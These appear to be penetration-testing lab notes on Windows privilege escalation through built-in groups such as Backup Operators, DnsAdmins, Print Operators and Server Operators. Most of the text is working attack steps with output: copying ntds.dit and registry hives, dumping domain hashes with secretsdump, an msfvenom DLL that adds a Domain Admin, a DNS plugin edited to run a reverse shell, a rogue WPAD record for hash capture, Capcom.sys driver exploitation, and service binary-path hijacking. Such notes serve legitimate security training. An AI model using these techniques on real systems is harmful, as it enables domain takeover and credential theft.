Group Privileges

Abusing Group Privileges

Dangerous Groups

whoami /groups

Windows Privilege Escalationserioton

Hyper-V Administrators

Print Operators

Server Operators

Backup Operators

Event Log Readers

DNS Admins

Always run the command from an admin shell if possible, some privs can not be seen otherwse

Build-in Groups

Active Directory Privileged Accounts and Groups GuideMicrosoftLearn

We should always check these groups and include a list of each group's members as an appendix in our report for the client to review and determine if access is still necessary.

Backup Operators	Event Log Readers	DnsAdmins
Hyper-V Administrators	Print Operators	Server Operators

Backup Operators

Check SeBackupPrivilege in User Privileges

GitHub - giuliano108/SeBackupPrivilege: Use SE_BACKUP_NAME/SeBackupPrivilege to access objects you shouldn't have access toGitHub

Pre-compiled Tools

GitHub - 0xSs0rZ/Backup_Operators_Exploit: Backup_Operators_ExploitGitHub

File folder on MEGAmega.nz

PS C:\htb> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\htb> Import-Module .\SeBackupPrivilegeCmdLets.dll

SeBackupPrivilege ?

PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

or

PS C:\htb> Get-SeBackupPrivilege

SeBackupPrivilege is disabled

Enable SeBackupPrivilege: Set-SeBackupPrivilege

PS C:\htb> Set-SeBackupPrivilege
PS C:\htb> Get-SeBackupPrivilege

SeBackupPrivilege is enabled

Copying a Protected File

PS C:\htb> cat 'C:\Confidential\2021 Contract.txt'

cat : Access to the path 'C:\Confidential\2021 Contract.txt' is denied.
At line:1 char:1
+ cat 'C:\Confidential\2021 Contract.txt'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Confidential\2021 Contract.txt:String) [Get-Content], Unauthor
   izedAccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand

PS C:\htb> Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt

Copied 88 bytes


PS C:\htb>  cat .\Contract.txt

Inlanefreight 2021 Contract

==============================

Board of Directors:

<...SNIP...>

Attacking a Domain Controller - Copying NTDS.dit

Windows Privilege Escalation: SeBackupPrivilegeHacking Articles

This group also permits logging in locally to a domain controller.

Diskshadow

PS C:\htb> diskshadow.exe

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC,  10/14/2020 12:57:52 AM

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit

PS C:\htb> dir E:


    Directory: E:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         5/6/2021   1:00 PM                Confidential
d-----        9/15/2018  12:19 AM                PerfLogs
d-r---        3/24/2021   6:20 PM                Program Files
d-----        9/15/2018   2:06 AM                Program Files (x86)
d-----         5/6/2021   1:05 PM                Tools
d-r---         5/6/2021  12:51 PM                Users
d-----        3/24/2021   6:38 PM                Windows

Copy ntds.dit

PS C:\htb> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Copied 16777216 bytes

or with Robocopy

C:\htb> robocopy /B E:\Windows\NTDS .\ntds ntds.dit

Backing up SAM and SYSTEM Registry Hives

C:\htb> reg save HKLM\SYSTEM SYSTEM.SAV

The operation completed successfully.


C:\htb> reg save HKLM\SAM SAM.SAV

The operation completed successfully.

Extract credentials

• PowerShell DSInternals

Release DSInternals PowerShell Module 4.14 · MichaelGrafnetter/DSInternalsGitHub

File folder on MEGAmega.nz

PS C:\htb> Import-Module .\DSInternals.psd1
PS C:\htb> $key = Get-BootKey -SystemHivePath .\SYSTEM
PS C:\htb> Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key

• Secretsdump

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

NTDS secrets

SAM & LSA secrets | The Hacker Recipeswww.thehacker.recipes

With NXC

nxc smb dc -u user -p pass -M backup_operator 

References

GitHub - PiyushThePal/SeBackup-Privilege: Abuse SeBackup PrivilegeGitHub

Event Log Readers

Confirming Group Membership

C:\htb> net localgroup "Event Log Readers"

Alias name     Event Log Readers
Comment        Members of this group can read event logs from local machine

Members

-------------------------------------------------------------------------------
logger
The command completed successfully.

Searching Security Logs Using wevtutil

PS C:\htb> wevtutil qe Security /rd:true /f:text | Select-String "/user"

        Process Command Line:   net use T: \\fs01\backups /user:tim MyStr0ngP@ssword

Passing Credentials to wevtutil

C:\htb> wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"

Searching Security Logs Using Get-WinEvent

Note: Searching the Security event log with Get-WInEvent requires administrator access or permissions adjusted on the registry key HKLM\System\CurrentControlSet\Services\Eventlog\Security. Membership in just the Event Log Readers group is not sufficient.

PS C:\htb> Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

CommandLine
-----------
net use T: \\fs01\backups /user:tim MyStr0ngP@ssword

Can also be run as another user with the -Credential parameter.

Other logs include PowerShell Operational log, which may also contain sensitive information or credentials if script block or module logging is enabled. This log is accessible to unprivileged users.

DnsAdmins

C:\htb> Get-ADGroupMember -Identity DnsAdmins

distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name              : netadm
objectClass       : user
objectGUID        : 1a1ac159-f364-4805-a4bb-7153051a8c14
SamAccountName    : netadm
SID               : S-1-5-21-669053619-2741956077-1013132368-1109           

Generating Malicious DLL

msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

Loading DLL as Member of DnsAdmins

Note: We must specify the full path to our custom DLL or the attack will not work properly.

C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

The DLL will be loaded the next time the DNS service is started. Membership in the DnsAdmins group doesn't give the ability to restart the DNS service, but this is conceivably something that sysadmins might permit DNS admins to do.

Finding User's SID

C:\htb> wmic useraccount where name="netadm" get sid

SID
S-1-5-21-669053619-2741956077-1013132368-1109

Checking Permissions on DNS Service

C:\htb> sc.exe sdshow DNS

D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

RPWP permissions which translate to SERVICE_START and SERVICE_STOP, respectively.

Stopping the DNS Service

C:\htb> sc stop dns

Starting the DNS Service

C:\htb> sc start dns

Confirming Group Membership

C:\htb> net group "Domain Admins" /dom

Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
Administrator            netadm
The command completed successfully.

Sign out using "Start" then log in back to apply the changes

Cleaning Up

Making configuration changes and stopping/restarting the DNS service on a Domain Controller are very destructive actions and must be exercised with great care. We should only carry out with explicit permission from and in coordination with our client.

C:\htb> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
    GlobalQueryBlockList    REG_MULTI_SZ    wpad\0isatap
    EnableGlobalQueryBlockList    REG_DWORD    0x1
    PreviousLocalHostname    REG_SZ    WINLPE-DC01.INLANEFREIGHT.LOCAL
    Forwarders    REG_MULTI_SZ    1.1.1.1\08.8.8.8
    ForwardingTimeout    REG_DWORD    0x3
    IsSlave    REG_DWORD    0x0
    BootMethod    REG_DWORD    0x3
    AdminConfigured    REG_DWORD    0x1
    ServerLevelPluginDll    REG_SZ    adduser.dll

C:\htb> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  /v ServerLevelPluginDll

Delete the registry value ServerLevelPluginDll (Yes/No)? Y
The operation completed successfully.

C:\htb> sc.exe start dns

Using Mimilib.dll

Abusing DNSAdmins privilege for escalation in Active Directorywww.labofapenetrationtester.com

Modifying the kdns.c file to execute a reverse shell one-liner

/*	Benjamin DELPY `gentilkiwi`
	https://blog.gentilkiwi.com
	[e-mail]
	Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kdns.h"

DWORD WINAPI kdns_DnsPluginInitialize(PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction, PLUGIN_FREE_FUNCTION pDnsFreeFunction)
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginCleanup()
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
	FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
	if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
	{
		klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
		fclose(kdns_logfile);
	    system("ENTER COMMAND HERE");
	}
	return ERROR_SUCCESS;
}

Creating a WPAD Record

Use a tool such as Responder or Inveigh to perform traffic spoofing, and attempt to capture password hashes and crack them offline or perform an SMBRelay attack

Disabling the Global Query Block List

C:\htb> Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local

Adding a WPAD Record pointing to our attack machine

C:\htb> Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3

Hyper-V Administrators

If Domain Controllers have been virtualized, then the virtualization admins should be considered Domain Admins

If the operating system is vulnerable to CVE-2018-0952 or CVE-2019-0841, we can leverage this to gain SYSTEM privileges. Otherwise, we can try to take advantage of an application on the server that has installed a service running in the context of SYSTEM, which is startable by unprivileged users,

For exemple Firefox:

https://raw.githubusercontent.com/decoder-it/Hyper-V-admin-EOP/master/hyperv-eop.ps1raw.githubusercontent.com

After running the PowerShell script, we should have full control of this file and can take ownership of it.

C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Next, we can replace this file with a malicious maintenanceservice.exe, start the maintenance service, and get command execution as SYSTEM.

C:\htb> sc.exe start MozillaMaintenance

Note: This vector has been mitigated by the March 2020 Windows security updates, which changed behavior relating to hard links.

Print Operators

SeLoadDriverPrivilege

From administrative command shell

C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================  ==========
SeMachineAccountPrivilege     Add workstations to domain           Disabled
SeLoadDriverPrivilege         Load and unload device drivers       Disabled
SeShutdownPrivilege           Shut down the system			       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

The driver Capcom.sys contains functionality to allow any user to execute shellcode with SYSTEM privileges.

https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/EnableSeLoadDriverPrivilege.cppraw.githubusercontent.com

Download the poc locally and edit it, pasting over the includes below.

#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"

Next, from a Visual Studio 2019 Developer Command Prompt, compile it using cl.exe. Or use pre-compiled tools

Compile with cl.exe

C:\Users\mrb3n\Desktop\Print Operators>cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp

Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29913 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

EnableSeLoadDriverPrivilege.cpp
Microsoft (R) Incremental Linker Version 14.28.29913.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.obj

Add Reference to Driver

Download the Capcom.sys driver from here, and save it to C:\temp. Issue the commands below to add a reference to this driver under our HKEY_CURRENT_USER tree.

C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"

The operation completed successfully.


C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

The operation completed successfully.

Verify Driver is not Loaded

DriverView: Loaded Windows Drivers ListNirSoft

PS C:\htb> .\DriverView.exe /stext drivers.txt
PS C:\htb> cat drivers.txt | Select-String -pattern Capcom

Verify Privilege is Enabled

C:\htb> EnableSeLoadDriverPrivilege.exe

whoami:
INLANEFREIGHT0\printsvc

whoami /priv
SeMachineAccountPrivilege        Disabled
SeLoadDriverPrivilege            Enabled
SeShutdownPrivilege              Disabled
SeChangeNotifyPrivilege          Enabled by default
SeIncreaseWorkingSetPrivilege    Disabled
NTSTATUS: 00000000, WinError: 0

Verify Capcom Driver is Listed

PS C:\htb> .\DriverView.exe /stext drivers.txt
PS C:\htb> cat drivers.txt | Select-String -pattern Capcom

Driver Name           : Capcom.sys
Filename              : C:\Tools\Capcom.sys

Use ExploitCapcom Tool to Escalate Privileges

GitHub - tandasat/ExploitCapcom: This is a standalone exploit for a vulnerable feature in Capcom.sysGitHub

PS C:\htb> .\ExploitCapcom.exe

[*] Capcom.sys exploit
[*] Capcom.sys handle was obained as 0000000000000070
[*] Shellcode was placed at 0000024822A50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched

Alternate Exploitation - No GUI

Modify the ExploitCapcom.cpp code before compiling. Here we can edit line 292 and replace "C:\\Windows\\system32\\cmd.exe" with, say, a reverse shell binary created with msfvenom, for example: c:\ProgramData\revshell.exe.

// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }

    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;
}

CommandLine string in this example would be changed to:

 TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");

Automating the Steps

GitHub - TarlogicSecurity/EoPLoadDriver: Proof of concept for abusing SeLoadDriverPrivilege (Privilege Escalation in Windows)GitHub

Automate the process of enabling the privilege, creating the registry key, and executing NTLoadDriver to load the driver

C:\htb> EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom
NTSTATUS: c000010e, WinError: 0

Then run ExploitCapcom.exe to pop a SYSTEM shell or run our custom binary

Clean up

C:\htb> reg delete HKCU\System\CurrentControlSet\Capcom

Permanently delete the registry key HKEY_CURRENT_USER\System\CurrentControlSet\Capcom (Yes/No)? Yes

The operation completed successfully.

Pre-compiled Tools

GitHub - 0xSs0rZ/Print_Operators_ExploitGitHub

File folder on MEGAmega.nz

Server Operators

It is a very highly privileged group that can log in locally to servers, including Domain Controllers. => Target the DC

Membership of this group confers the powerful SeBackupPrivilege and SeRestorePrivilege privileges and the ability to control local services.

Querying the AppReadiness Service

C:\htb> sc qc AppReadiness

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AppReadiness
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\System32\svchost.exe -k AppReadiness -p
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : App Readiness
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Checking Service Permissions with PsService

PsService - SysinternalsMicrosoftLearn

C:\htb> c:\Tools\PsService.exe security AppReadiness

PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

SERVICE_NAME: AppReadiness
DISPLAY_NAME: App Readiness
        ACCOUNT: LocalSystem
        SECURITY:
        [ALLOW] NT AUTHORITY\SYSTEM
                Query status
                Query Config
                Interrogate
                Enumerate Dependents
                Pause/Resume
                Start
                Stop
                User-Defined Control
                Read Permissions
        [ALLOW] BUILTIN\Administrators
                All
        [ALLOW] NT AUTHORITY\INTERACTIVE
                Query status
                Query Config
                Interrogate
                Enumerate Dependents
                User-Defined Control
                Read Permissions
        [ALLOW] NT AUTHORITY\SERVICE
                Query status
                Query Config
                Interrogate
                Enumerate Dependents
                User-Defined Control
                Read Permissions
        [ALLOW] BUILTIN\Server Operators
                All

Checking Local Admin Group Membership

C:\htb> net localgroup Administrators

Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.

Our target account is not present.

Modifying the Service Binary Path

Add our current user to the default local administrators group

C:\htb> sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"

[SC] ChangeServiceConfig SUCCESS

Starting the Service

C:\htb> sc start AppReadiness

[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

Starting the service fails, which is expected.

But, if we check the membership of the administrators group, we see that the command was executed successfully.

C:\htb> net localgroup Administrators

Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
server_adm
The command completed successfully.

Sign out using "Start" then log in back to apply the changes

Retrieving NTLM Password Hashes from the Domain Controller

$ secretsdump.py server_adm@10.129.43.9 -just-dc-user administrator

Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
Administrator:aes128-cts-hmac-sha1-96:94c300d0e47775b407f2496a5cca1a0a
Administrator:des-cbc-md5:d60dfbbf20548938
[*] Cleaning up...

“Network Configuration Operators” group

Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2025-21293)

Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2025-21293)A tale of mediocracy

DHCP Administrators Group

Abusing the DHCP Administrators Group to Escalate Privileges in Windows Domains | AkamaiAkamai

GitHub - akamai/DDSpoof: DDSpoof is a tool that enables DHCP DNS Dynamic Update attacks against Microsoft DHCP servers in AD environments.GitHub

dhcp_coerce.py -i IFACE -d DOMAIN_NAME -s TARGET_SERVER -c COERCE_IP -ip RELAY_IP

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